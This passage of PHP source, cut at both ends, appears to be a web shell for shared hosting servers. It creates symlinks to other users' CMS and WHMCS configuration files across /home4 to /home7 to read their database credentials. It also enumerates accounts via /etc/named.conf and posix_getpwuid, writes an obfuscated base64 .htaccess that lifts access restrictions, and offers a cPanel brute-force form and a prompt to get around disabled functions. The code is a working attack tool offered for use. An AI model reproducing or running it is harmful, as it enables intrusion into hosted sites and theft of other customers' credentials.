ink(\'/home4/\'.$usern.\'/public_html/includes/config.php\',$pdomain.\'~~vBulletin2.txt\');\r\n\t\tsymlink(\'/home4/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~vBulletin3.txt\');\r\n\t\tsymlink(\'/home4/\'.$usern.\'/public_html/cc/includes/config.php\',$pdomain.\'~~vBulletin4.txt\');\r\n\t\tsymlink(\'/home4/\'.$usern.\'/public_html/config.php\',$pdomain.\'~~Phpbb1.txt\');\r\n\t\tsymlink(\'/home4/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~Phpbb2.txt\');\r\n\t\tsymlink(\'/home4/\'.$usern.\'/public_html/wp-config.php\',$pdomain.\'~~Wordpress1.txt\');\r\n\t\tsymlink(\'/home4/\'.$usern.\'/public_html/blog/wp-config.php\',$pdomain.\'~~Wordpress2.txt\');\r\n\t\tsymlink(\'/home4/\'.$usern.\'/public_html/configuration.php\',$pdomain.\'~~Joomla1.txt\');\r\n\t\tsymlink(\'/home4/\'.$usern.\'/public_html/blog/configuration.php\',$pdomain.\'~~Joomla2.txt\');\r\n\t\tsymlink(\'/home4/\'.$usern.\'/public_html/joomla/configuration.php\',$pdomain.\'~~Joomla3.txt\');\r\n\t\tsymlink(\'/home4/\'.$usern.\'/public_html/whm/configuration.php\',$pdomain.\'~~Whm1.txt\');\r\n\t\tsymlink(\'/home4/\'.$usern.\'/public_html/whmc/configuration.php\',$pdomain.\'~~Whm2.txt\');\r\n\t\tsymlink(\'/home4/\'.$usern.\'/public_html/support/configuration.php\',$pdomain.\'~~Whm3.txt\');\r\n\t\tsymlink(\'/home4/\'.$usern.\'/public_html/client/configuration.php\',$pdomain.\'~~Whm4.txt\');\r\n\t\tsymlink(\'/home4/\'.$usern.\'/public_html/billings/configuration.php\',$pdomain.\'~~Whm5.txt\');\r\n\t\tsymlink(\'/home4/\'.$usern.\'/public_html/billing/configuration.php\',$pdomain.\'~~Whm6.txt\');\r\n\t\tsymlink(\'/home4/\'.$usern.\'/public_html/clients/configuration.php\',$pdomain.\'~~Whm7.txt\');\r\n\t\tsymlink(\'/home4/\'.$usern.\'/public_html/whmcs/configuration.php\',$pdomain.\'~~Whm8.txt\');\r\n\t\tsymlink(\'/home4/\'.$usern.\'/public_html/order/configuration.php\',$pdomain.\'~~Whm9.txt\');\r\n\t\tsymlink(\'/home4/\'.$usern.\'/public_html/admin/conf.php\',$pdomain.\'~~5.txt\');\r\n\t\tsymlink(\'/home4/\'.$usern.\'/public_html/admin/config.php\',$pdomain.\'~~4.txt\');\r\n\t\tsymlink(\'/home4/\'.$usern.\'/public_html/conf_global.php\',$pdomain.\'~~invisio.txt\');\r\n\t\tsymlink(\'/home4/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~7.txt\');\r\n\t\tsymlink(\'/home4/\'.$usern.\'/public_html/connect.php\',$pdomain.\'~~8.txt\');\r\n\t\tsymlink(\'/home4/\'.$usern.\'/public_html/mk_conf.php\',$pdomain.\'~~mk-portale1.txt\');\r\n\t\tsymlink(\'/home4/\'.$usern.\'/public_html/include/config.php\',$pdomain.\'~~12.txt\');\r\n\t\tsymlink(\'/home4/\'.$usern.\'/public_html/settings.php\',$pdomain.\'~~Smf.txt\');\r\n\t\tsymlink(\'/home4/\'.$usern.\'/public_html/includes/functions.php\',$pdomain.\'~~phpbb3.txt\');\r\n\t\tsymlink(\'/home4/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~infinity.txt\');\r\n\t\tsymlink(\'/home5/\'.$usern.\'/public_html/vb/includes/config.php\',$pdomain.\'~~vBulletin1.txt\');\r\n\t\tsymlink(\'/home5/\'.$usern.\'/public_html/includes/config.php\',$pdomain.\'~~vBulletin2.txt\');\r\n\t\tsymlink(\'/home5/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~vBulletin3.txt\');\r\n\t\tsymlink(\'/home5/\'.$usern.\'/public_html/cc/includes/config.php\',$pdomain.\'~~vBulletin4.txt\');\r\n\t\tsymlink(\'/home5/\'.$usern.\'/public_html/config.php\',$pdomain.\'~~Phpbb1.txt\');\r\n\t\tsymlink(\'/home5/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~Phpbb2.txt\');\r\n\t\tsymlink(\'/home5/\'.$usern.\'/public_html/wp-config.php\',$pdomain.\'~~Wordpress1.txt\');\r\n\t\tsymlink(\'/home5/\'.$usern.\'/public_html/blog/wp-config.php\',$pdomain.\'~~Wordpress2.txt\');\r\n\t\tsymlink(\'/home5/\'.$usern.\'/public_html/configuration.php\',$pdomain.\'~~Joomla1.txt\');\r\n\t\tsymlink(\'/home5/\'.$usern.\'/public_html/blog/configuration.php\',$pdomain.\'~~Joomla2.txt\');\r\n\t\tsymlink(\'/home5/\'.$usern.\'/public_html/joomla/configuration.php\',$pdomain.\'~~Joomla3.txt\');\r\n\t\tsymlink(\'/home5/\'.$usern.\'/public_html/whm/configuration.php\',$pdomain.\'~~Whm1.txt\');\r\n\t\tsymlink(\'/home5/\'.$usern.\'/public_html/whmc/configuration.php\',$pdomain.\'~~Whm2.txt\');\r\n\t\tsymlink(\'/home5/\'.$usern.\'/public_html/support/configuration.php\',$pdomain.\'~~Whm3.txt\');\r\n\t\tsymlink(\'/home5/\'.$usern.\'/public_html/client/configuration.php\',$pdomain.\'~~Whm4.txt\');\r\n\t\tsymlink(\'/home5/\'.$usern.\'/public_html/billings/configuration.php\',$pdomain.\'~~Whm5.txt\');\r\n\t\tsymlink(\'/home5/\'.$usern.\'/public_html/billing/configuration.php\',$pdomain.\'~~Whm6.txt\');\r\n\t\tsymlink(\'/home5/\'.$usern.\'/public_html/clients/configuration.php\',$pdomain.\'~~Whm7.txt\');\r\n\t\tsymlink(\'/home5/\'.$usern.\'/public_html/whmcs/configuration.php\',$pdomain.\'~~Whm8.txt\');\r\n\t\tsymlink(\'/home5/\'.$usern.\'/public_html/order/configuration.php\',$pdomain.\'~~Whm9.txt\');\r\n\t\tsymlink(\'/home5/\'.$usern.\'/public_html/admin/conf.php\',$pdomain.\'~~5.txt\');\r\n\t\tsymlink(\'/home5/\'.$usern.\'/public_html/admin/config.php\',$pdomain.\'~~4.txt\');\r\n\t\tsymlink(\'/home5/\'.$usern.\'/public_html/conf_global.php\',$pdomain.\'~~invisio.txt\');\r\n\t\tsymlink(\'/home5/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~7.txt\');\r\n\t\tsymlink(\'/home5/\'.$usern.\'/public_html/connect.php\',$pdomain.\'~~8.txt\');\r\n\t\tsymlink(\'/home5/\'.$usern.\'/public_html/mk_conf.php\',$pdomain.\'~~mk-portale1.txt\');\r\n\t\tsymlink(\'/home5/\'.$usern.\'/public_html/include/config.php\',$pdomain.\'~~12.txt\');\r\n\t\tsymlink(\'/home5/\'.$usern.\'/public_html/settings.php\',$pdomain.\'~~Smf.txt\');\r\n\t\tsymlink(\'/home5/\'.$usern.\'/public_html/includes/functions.php\',$pdomain.\'~~phpbb3.txt\');\r\n\t\tsymlink(\'/home5/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~infinity.txt\');\r\n\t\tsymlink(\'/home6/\'.$usern.\'/public_html/vb/includes/config.php\',$pdomain.\'~~vBulletin1.txt\');\r\n\t\tsymlink(\'/home6/\'.$usern.\'/public_html/includes/config.php\',$pdomain.\'~~vBulletin2.txt\');\r\n\t\tsymlink(\'/home6/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~vBulletin3.txt\');\r\n\t\tsymlink(\'/home6/\'.$usern.\'/public_html/cc/includes/config.php\',$pdomain.\'~~vBulletin4.txt\');\r\n\t\tsymlink(\'/home6/\'.$usern.\'/public_html/config.php\',$pdomain.\'~~Phpbb1.txt\');\r\n\t\tsymlink(\'/home6/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~Phpbb2.txt\');\r\n\t\tsymlink(\'/home6/\'.$usern.\'/public_html/wp-config.php\',$pdomain.\'~~Wordpress1.txt\');\r\n\t\tsymlink(\'/home6/\'.$usern.\'/public_html/blog/wp-config.php\',$pdomain.\'~~Wordpress2.txt\');\r\n\t\tsymlink(\'/home6/\'.$usern.\'/public_html/configuration.php\',$pdomain.\'~~Joomla1.txt\');\r\n\t\tsymlink(\'/home6/\'.$usern.\'/public_html/blog/configuration.php\',$pdomain.\'~~Joomla2.txt\');\r\n\t\tsymlink(\'/home6/\'.$usern.\'/public_html/joomla/configuration.php\',$pdomain.\'~~Joomla3.txt\');\r\n\t\tsymlink(\'/home6/\'.$usern.\'/public_html/whm/configuration.php\',$pdomain.\'~~Whm1.txt\');\r\n\t\tsymlink(\'/home6/\'.$usern.\'/public_html/whmc/configuration.php\',$pdomain.\'~~Whm2.txt\');\r\n\t\tsymlink(\'/home6/\'.$usern.\'/public_html/support/configuration.php\',$pdomain.\'~~Whm3.txt\');\r\n\t\tsymlink(\'/home6/\'.$usern.\'/public_html/client/configuration.php\',$pdomain.\'~~Whm4.txt\');\r\n\t\tsymlink(\'/home6/\'.$usern.\'/public_html/billings/configuration.php\',$pdomain.\'~~Whm5.txt\');\r\n\t\tsymlink(\'/home6/\'.$usern.\'/public_html/billing/configuration.php\',$pdomain.\'~~Whm6.txt\');\r\n\t\tsymlink(\'/home6/\'.$usern.\'/public_html/clients/configuration.php\',$pdomain.\'~~Whm7.txt\');\r\n\t\tsymlink(\'/home6/\'.$usern.\'/public_html/whmcs/configuration.php\',$pdomain.\'~~Whm8.txt\');\r\n\t\tsymlink(\'/home6/\'.$usern.\'/public_html/order/configuration.php\',$pdomain.\'~~Whm9.txt\');\r\n\t\tsymlink(\'/home6/\'.$usern.\'/public_html/admin/conf.php\',$pdomain.\'~~5.txt\');\r\n\t\tsymlink(\'/home6/\'.$usern.\'/public_html/admin/config.php\',$pdomain.\'~~4.txt\');\r\n\t\tsymlink(\'/home6/\'.$usern.\'/public_html/conf_global.php\',$pdomain.\'~~invisio.txt\');\r\n\t\tsymlink(\'/home6/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~7.txt\');\r\n\t\tsymlink(\'/home6/\'.$usern.\'/public_html/connect.php\',$pdomain.\'~~8.txt\');\r\n\t\tsymlink(\'/home6/\'.$usern.\'/public_html/mk_conf.php\',$pdomain.\'~~mk-portale1.txt\');\r\n\t\tsymlink(\'/home6/\'.$usern.\'/public_html/include/config.php\',$pdomain.\'~~12.txt\');\r\n\t\tsymlink(\'/home6/\'.$usern.\'/public_html/settings.php\',$pdomain.\'~~Smf.txt\');\r\n\t\tsymlink(\'/home6/\'.$usern.\'/public_html/includes/functions.php\',$pdomain.\'~~phpbb3.txt\');\r\n\t\tsymlink(\'/home6/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~infinity.txt\');\r\n\t\tsymlink(\'/home7/\'.$usern.\'/public_html/vb/includes/config.php\',$pdomain.\'~~vBulletin1.txt\');\r\n\t\tsymlink(\'/home7/\'.$usern.\'/public_html/includes/config.php\',$pdomain.\'~~vBulletin2.txt\');\r\n\t\tsymlink(\'/home7/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~vBulletin3.txt\');\r\n\t\tsymlink(\'/home7/\'.$usern.\'/public_html/cc/includes/config.php\',$pdomain.\'~~vBulletin4.txt\');\r\n\t\tsymlink(\'/home7/\'.$usern.\'/public_html/config.php\',$pdomain.\'~~Phpbb1.txt\');\r\n\t\tsymlink(\'/home7/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~Phpbb2.txt\');\r\n\t\tsymlink(\'/home7/\'.$usern.\'/public_html/wp-config.php\',$pdomain.\'~~Wordpress1.txt\');\r\n\t\tsymlink(\'/home7/\'.$usern.\'/public_html/blog/wp-config.php\',$pdomain.\'~~Wordpress2.txt\');\r\n\t\tsymlink(\'/home7/\'.$usern.\'/public_html/configuration.php\',$pdomain.\'~~Joomla1.txt\');\r\n\t\tsymlink(\'/home7/\'.$usern.\'/public_html/blog/configuration.php\',$pdomain.\'~~Joomla2.txt\');\r\n\t\tsymlink(\'/home7/\'.$usern.\'/public_html/joomla/configuration.php\',$pdomain.\'~~Joomla3.txt\');\r\n\t\tsymlink(\'/home7/\'.$usern.\'/public_html/whm/configuration.php\',$pdomain.\'~~Whm1.txt\');\r\n\t\tsymlink(\'/home7/\'.$usern.\'/public_html/whmc/configuration.php\',$pdomain.\'~~Whm2.txt\');\r\n\t\tsymlink(\'/home7/\'.$usern.\'/public_html/support/configuration.php\',$pdomain.\'~~Whm3.txt\');\r\n\t\tsymlink(\'/home7/\'.$usern.\'/public_html/client/configuration.php\',$pdomain.\'~~Whm4.txt\');\r\n\t\tsymlink(\'/home7/\'.$usern.\'/public_html/billings/configuration.php\',$pdomain.\'~~Whm5.txt\');\r\n\t\tsymlink(\'/home7/\'.$usern.\'/public_html/billing/configuration.php\',$pdomain.\'~~Whm6.txt\');\r\n\t\tsymlink(\'/home7/\'.$usern.\'/public_html/clients/configuration.php\',$pdomain.\'~~Whm7.txt\');\r\n\t\tsymlink(\'/home7/\'.$usern.\'/public_html/whmcs/configuration.php\',$pdomain.\'~~Whm8.txt\');\r\n\t\tsymlink(\'/home7/\'.$usern.\'/public_html/order/configuration.php\',$pdomain.\'~~Whm9.txt\');\r\n\t\tsymlink(\'/home7/\'.$usern.\'/public_html/admin/conf.php\',$pdomain.\'~~5.txt\');\r\n\t\tsymlink(\'/home7/\'.$usern.\'/public_html/admin/config.php\',$pdomain.\'~~4.txt\');\r\n\t\tsymlink(\'/home7/\'.$usern.\'/public_html/conf_global.php\',$pdomain.\'~~invisio.txt\');\r\n\t\tsymlink(\'/home7/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~7.txt\');\r\n\t\tsymlink(\'/home7/\'.$usern.\'/public_html/connect.php\',$pdomain.\'~~8.txt\');\r\n\t\tsymlink(\'/home7/\'.$usern.\'/public_html/mk_conf.php\',$pdomain.\'~~mk-portale1.txt\');\r\n\t\tsymlink(\'/home7/\'.$usern.\'/public_html/include/config.php\',$pdomain.\'~~12.txt\');\r\n\t\tsymlink(\'/home7/\'.$usern.\'/public_html/settings.php\',$pdomain.\'~~Smf.txt\');\r\n\t\tsymlink(\'/home7/\'.$usern.\'/public_html/includes/functions.php\',$pdomain.\'~~phpbb3.txt\');\r\n\t\tsymlink(\'/home7/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~infinity.txt\');\r\n\t}\r\n\r\n\t\t\t\t$d0mains = @file("/etc/named.conf");\r\n\t\t\r\n\t\t\t\tif($d0mains)\r\n\t\t\t\t{\r\n\t\t\t\t\tmkdir($fn);\r\n\t\t\t\t\tchdir($fn);\r\n\t\t\t\t\t\t\t\t\t\t\r\n\t\t\t\t\tforeach($d0mains as $d0main)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tif(eregi("zone",$d0main))\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\tpreg_match_all(\'#zone "(.*)"#\', $d0main, $domains);\r\n\t\t\t\t\t\t\tflush();\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\tif(strlen(trim($domains[1][0])) > 2)\r\n\t\t\t\t\t\t\t{ \r\n\t\t\t\t\t\t\t\t$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\tsyml($user[\'name\'],$domains[1][0]);\t\t\t\t\t\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t\techo "<center><font color=lime size=3>[ Done ]</font></center>";\r\n\t\t\t\t\techo "<br><center><a href=$fn/ target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>"; \r\n\t\t\t\t}\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t\tmkdir($fn);\r\n\t\t\t\t\tchdir($fn);\r\n\t\t\t\t\t$temp = "";\r\n\t\t\t\t\t$val1 = 0;\r\n\t\t\t\t\t$val2 = 1000;\r\n\t\t\t\t\tfor(;$val1 <= $val2;$val1++) \r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t$uid = @posix_getpwuid($val1);\r\n\t\t\t\t\t\tif ($uid)\r\n\t\t\t\t\t\t\t$temp .= join(\':\',$uid)."\\n";\r\n\t\t\t\t\t }\r\n\t\t\t\t\t echo \'<br/>\';\r\n\t\t\t\t\t $temp = trim($temp);\r\n\t\t\t\t\t \r\n\t\t\t\t\t $file5 = fopen("test.txt","w");\r\n\t\t\t\t\t fputs($file5,$temp);\r\n\t\t\t\t\t fclose($file5);\r\n\r\n$htaccess =\r\n\'T3B0aW9ucyBhbGwgCkRpcmVjdG9yeUluZGV4IHJlYWRtZS5odG1sIApBZGRUeXBlIHRleHQvcGxh\r\naW4gLnBocCAKQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgCkFkZFR5cGUgdGV4dC9wbGFp\r\nbiAuaHRtbCAKQWRkSGFuZGxlciB0eHQgLmh0bWwgClJlcXVpcmUgTm9uZSAKU2F0aXNmeSBBbnk=\r\n\';\r\n$file = fopen(".htaccess","w+");\r\n$write = fwrite ($file ,base64_decode($htaccess));\r\n\t\t\t\t\t \r\n\t\t\t\t\t $file = fopen("test.txt", "r") or exit("Unable to open file!");\r\n\t\t\t\t\t while(!feof($file))\r\n\t\t\t\t\t {\r\n\t\t\t\t\t\t$s = fgets($file);\r\n\t\t\t\t\t\t$matches = array();\r\n\t\t\t\t\t\t$t = preg_match(\'/\\/(.*?)\\:\\//s\', $s, $matches);\r\n\t\t\t\t\t\t$matches = str_replace("home/","",$matches[1]);\r\n\t\t\t\t\t\tif(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")\r\n\t\t\t\t\t\t\tcontinue;\r\n\t\t\t\t\t\tsyml($matches,$matches);\r\n\t\t\t\t\t }\r\n\t\t\t\t\tfclose($file);\r\n\t\t\t\t\techo "</table>";\r\n\t\t\t\t\tunlink("test.txt");\r\n\t\t\t\t\techo "<center><font color=lime size=3>[ Done ]</font></center>";\r\n\t\t\t\t\techo "<br><center><a href=$fn/ target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>"; \r\n\t\t\t\t}\r\necho "<hr><center><b><a href=".$_SERVER[\'PHP_SELF\'].">BACK</a>";\r\nexit;\r\n}\r\n?>\r\n<form method="POST" target="_blank">\r\n\t<strong>\r\n<input name="page" type="hidden" value="find"><table> \t\t\t\t\r\n </strong><br><br><center><font size="5" style="italic" color="#00ff00">=[ Cpanel BruteForce ]=</font></center><br><br>\r\n <table width="600" border="0" cellpadding="3" cellspacing="1" align="center">\r\n\t<tr>\r\n\t<td valign="top" bgcolor="#151515" class="style2" style="width: 139px">\r\n\t<center><b><font size="5" style="italic" color="#00ff00">Cpanel BruteForce</font></b></center></td></tr>\r\n <tr>\r\n <td>\r\n <table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">\r\n <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">\r\n\t<strong>User :</strong></td>\r\n <td valign="top" bgcolor="#151515" colspan="5"><strong><textarea cols="79" class =\'inputz\' rows="10" name="usernames"><?php system(\'ls /var/mail\');?></textarea></strong></td>\r\n </tr>\r\n <tr>\r\n <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">\r\n\t<strong>Pass :</strong></td>\r\n <td valign="top" bgcolor="#151515" colspan="5"><strong><textarea cols="79" class =\'inputz\' rows="10" name="passwords"></textarea></strong></td>\r\n </tr>\r\n <tr>\r\n <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">\r\n\t<strong>Type :</strong></td>\r\n <td valign="top" bgcolor="#151515" colspan="5">\r\n <span class="style2"><strong>Simple : </strong> </span>\r\n\t<strong>\r\n\t<input type="radio" name="type" value="simple" checked="checked" class="style3"></strong>\r\n <font class="style2"><strong>/etc/passwd : </strong> </font>\r\n\t<strong>\r\n\t<input type="radio" name="type" value="passwd" class="style3"></strong><span class="style3"><strong>\r\n\t</strong>\r\n\t</span>\r\n </td>\r\n </tr>\r\n <tr>\r\n <td valign="top" bgcolor="#151515" style="width: 139px"></td>\r\n <td valign="top" bgcolor="#151515" colspan="5"><strong><input class =\'inputzbut\' type="submit" value="start">\r\n </strong>\r\n </td>\r\n <tr>\r\n</form> \r\n<tr>\r\n <td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Get Config :</strong></td>\r\n \t\t\t\t</tr>\r\n<form method="POST" target="_blank">\r\n\t<strong>\r\n<input name="mendapatkan" type="hidden" value="passwd"> \t\t\t\t\r\n </strong>\r\n <tr>\r\n <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Folder Name :</strong></td>\r\n <td valign="top" bgcolor="#151515"><strong><input class =\'inputz\' size="35" name="foldername" type="text"></strong></td>\r\n\t</strong>\r\n </td>\r\n </tr>\r\n <tr>\r\n <td valign="top" bgcolor="#151515" style="width: 139px"></td>\r\n <td valign="top" bgcolor="#151515" colspan="5"><strong><input class =\'inputzbut\' type="submit" value="GO">\r\n </strong>\r\n </td>\r\n <tr>\r\n</form> \r\n<tr>\r\n <td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Get Wordlist</strong></td>\r\n \t\t\t\t</tr>\r\n<form method="POST" target="_blank">\r\n\t<strong>\r\n<input name="pass" type="hidden" value="password"> \t\t\t\t\r\n </strong>\r\n <tr>\r\n <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Url Config :</strong></td>\r\n <td valign="top" bgcolor="#151515"><strong><input class =\'inputz\' size="35" name="url" type="text"></strong></td>\r\n\t</strong>\r\n </td>\r\n </tr>\r\n <tr>\r\n <td valign="top" bgcolor="#151515" style="width: 139px"></td>\r\n <td valign="top" bgcolor="#151515" colspan="5"><strong><input class =\'inputzbut\' type="submit" value="GO">\r\n </strong>\r\n </td>\r\n <tr>\r\n</form>\r\n<tr>\r\n <td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Info \r\n\tSecurity</strong></td>\r\n \t\t\t\t</tr>\r\n <tr>\r\n <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Safe Mode</strong></td>\r\n <td valign="top" bgcolor="#151515" colspan="5">\r\n\t<strong>\r\n<?php\r\n$safe_mode = ini_get(\'safe_mode\');\r\nif($safe_mode==\'1\')\r\n{\r\necho \'ON\';\r\n}else{\r\necho \'OFF\';\r\n}\r\n\r\n?>\t\r\n\t</strong>\t\r\n\t</td>\r\n \t\t\t\t</tr>\r\n <tr>\r\n <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Desible Function</strong></td>\r\n <td valign="top" bgcolor="#151515" colspan="5">\r\n\t<strong>\r\n<form method="POST" target="_blank">\r\n\t<strong>\r\n<input name="matikan" type="hidden" value="sekatan"> \t\t\t\t\r\n </strong>\r\n\r\n<?php\r\nif(\'\'==($func=@ini_get(\'disable_functions\')))\r\n{\r\necho "<font color=#00ff00>No Security for Function</font></b>";\r\n}else{\r\necho \'<script>alert("Please see below and press >Please Click Here First!<");</script>\';\r\necho "<font color=red>$func</font></b>";\r\necho \'<tr><td valign="top" bgcolor="#151515" style="width: 139px"></td>\';\r\necho \'<td valign="top" bgcolor="#151515" colspan="5"><strong><input type="submit" value="Please Click Here First!">\r\n </strong>\r\n </td></tr>\';\r\n}\r\n?></strong></td></tr></table></table></table>\r\n<?\r\n}\r\n///////////////////////////////////////////////////////////////////////////\r\n\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'tutor\'))\r\n {\r\n ?>\r\n\t<form action="?y=<?php echo $pwd; ?>&x=tutor" method="post">\r\n\t<center><br><br><b>+--=[ Tutorial & Ebook hacking ]=--+</b><br>\r\n\t\t<form method="post" action="">\r\n<table class="tabnet" border="1" >\r\n<tr>\r\n\t\t<td align="center">English</td><td align="center">Indonesian</td>\r\n\t</tr>\r\n\t<tr>\r\n\t\t<td><form method="post" action=""> \r\n\tE-book Hacking : \r\n\t<select class="inputzbut" name="pilih" id="pilih">\r\n\t<option value=""selected>-----------------[ Select ]-----------------</option>\r\n\t<option value="tutorial24" > Hacking Exposed-5 </option>\r\n\t<option value="tutorial25"> Internet Denial Of Service </option>\r\n\t<option value="tutorial26">Computer Viruses For Dummies</option>\r\n\t<option value="tutorial27">Hack Attacks Testing</option>\r\n\t<option value="tutorial28">Secrets Of A Super Hacker</option>\r\n\t<option value="tutorial29">Stealing The Network</option>\r\n\t<option value="tutorial30">Hacker\'s HandBook</option>\r\n\t</select>\r\n\t<input type="submit" name="submit" class="inputzbut" value="Download">\r\n\t</td></form>\r\n<td><form method="post" action=""> \r\nTutorial by X\'1N73CT : \r\n\t<select class="inputzbut" name="pilih" id="pilih">\r\n\t<option value=""selected>-----------------[ Select ]-----------------</option>\r\n\t\t<option value="tutorial2">Search Engine Hacking</option>\r\n\t\t<option value="tutorial3">SQL Injection dengan hackbar</option>\r\n\t\t<option value="tutorial1" >Bypass Union</option>\r\n\t</select>\r\n\t<input type="submit" name="submit" class="inputzbut" value="Download">\r\n</form></td>\r\n</tr>\r\n<tr>\r\n<td>\r\n<form method="post" action=""> \r\nE-Book from Syn|gress : \r\n\t<select class="inputzbut" name="pilih" id="pilih">\r\n\t<option value=""selected>-----------------[ Select ]-----------------</option>\r\n\t<option value="cryptography_for_defeloper">Cryptography for Developer</option>\r\n\t<option value="tutorial31">Mobile Malware Attack and Defense</option>\r\n\t<option value="forensic">CD and DVD Forensic</option>\r\n\t<option value="ddd">Open Sourch Security Tools</option>\r\n\t<option value="metasploit">Metaslpoit Toolkit</option>\r\n\t<option value="stealing_network">Stealing the Network</option>\r\n\t<option value="security_polices">Creating Security Polices</option>\r\n\t</select>\r\n\t<input type="submit" name="submit" class="inputzbut" value="Download">\r\n</form></td>\r\n<td>\r\n<form method="post" action=""> \r\nX-CODE MAGAZINE : \r\n\t<select class="inputzbut" name="pilih" id="pilih">\r\n\t<option value=""selected>-----------------[ Select ]-----------------</option>\r\n\t<option value="tutorial4">X-CODE MAGAZINE 1</option>\r\n\t<option value="tutorial5">X-CODE MAGAZINE 2</option>\r\n\t<option value="tutorial6">X-CODE MAGAZINE 3</option>\r\n\t<option value="tutorial7">X-CODE MAGAZINE 4</option>\r\n\t<option value="tutorial8">X-CODE MAGAZINE 5</option>\r\n\t<option value="tutorial9">X-CODE MAGAZINE 6</option>\r\n\t<option value="tutorial10">X-CODE MAGAZINE 7</option>\r\n\t<option value="tutorial11">X-CODE MAGAZINE 8</option>\r\n\t<option value="tutorial12">X-CODE MAGAZINE 9</option>\r\n\t<option value="tutorial13">X-CODE MAGAZINE 10</option>\r\n\t<option value="tutorial14">X-CODE MAGAZINE 11</option>\r\n\t<option value="tutorial15">X-CODE MAGAZINE 12</option>\r\n\t<option value="tutorial16">X-CODE MAGAZINE 13</option>\r\n\t<option value="tutorial17">X-CODE MAGAZINE 14</option>\r\n\t<option value="tutorial18">X-CODE MAGAZINE 15</option>\r\n\t<option value="tutorial19">X-CODE MAGAZINE 16</option>\r\n\t<option value="tutorial20">X-CODE MAGAZINE 17</option>\r\n\t<option value="tutorial21">X-CODE MAGAZINE 18</option>\r\n\t<option value="tutorial22">X-CODE MAGAZINE 19</option>\r\n\t<option value="tutorial23">X-CODE MAGAZINE 20</option>\r\n\t<option value="tutorial024">X-CODE MAGAZINE 21</option>\r\n\t</select>\r\n\t<input type="submit" name="submit" class="inputzbut" value="Download" ></a>\r\n</form></td></tr></table><br><br>\r\n<?php\r\n$submit = $_POST [\'submit\'];\r\nif(isset($submit)) {\r\n\t$pilih = $_POST[\'pilih\'];\r\n\t\tif ( $pilih == \'tutorial1\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://www.pharmconseil-elearning.com/main/upload/by_passing_illegal_mix_of_collations_for_operation__union__by_x_1n73ct.pdf\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'tutorial2\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://www.pharmconseil-elearning.com/main/upload/Search_engine_hacking_by_x_1n73ct.pdf\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'tutorial3\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://www.pharmconseil-elearning.com/main/upload/Sql_injection_dengan_hackbar.pdf\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'tutorial4\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://xcode.or.id/files/xcode_magazine_1.zip\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'tutorial5\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://xcode.or.id/files/xcode_magazine_2.zip\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'tutorial6\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = \'http://xcode.or.id/files/xcode_magazine_3.zip\';\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t\telseif ( $pilih == \'tutorial7\') {\r\n\t\t\t?>\r\n\t\t\t<script>\r\n\t\t\t\tdocument.location = 